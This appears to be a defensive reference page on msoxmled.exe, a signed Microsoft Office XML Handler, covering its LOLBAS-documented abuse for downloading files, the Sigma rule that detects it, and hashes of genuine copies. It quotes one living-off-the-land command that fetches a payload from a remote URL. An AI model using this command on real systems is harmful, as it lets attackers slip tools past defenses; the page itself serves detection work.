msoxmled.exe

Office XML Handler file version info (xCyclopedia)

LOLBAS Download 1 Sigma rule name it 1 ATT&CK technique 1 documented command 2 known copies with hashes

How msoxmled.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

-verb

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msoxmled.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote server using the Microsoft Office XML Editor.

msoxmled.exe /verb open {REMOTEURL}

Identify

Trips 1 Sigma rule: highPotential Arbitrary File Download Using Office Application by Nasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msoxmled.exe, by Bogac Kaya, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msoxmled.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

highPotential Arbitrary File Download Using Office ApplicationNasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community

T1105Ingress Tool Transfer

Is it the real msoxmled.exe?

file version info and known copies

Installed inC:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\

Signed byMicrosoft Corporation

ProductMicrosoft Office InfoPath, Microsoft Corporation

DescriptionOffice XML Handler

2 known copies

16.0.12430.20120 · C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLED.EXE · signed by Microsoft Corporation

d73f19f5665a65fdef46b4aca0635febdedbe524ef999e94ad5058b9c767ee54

16.0.12430.20120 · C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\MSOXMLED.EXE · signed by Microsoft Corporation

e21026ca18e5bffd8449a301bcf015a5d2a06b08f526dd8db2683bd3c8e9871b

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.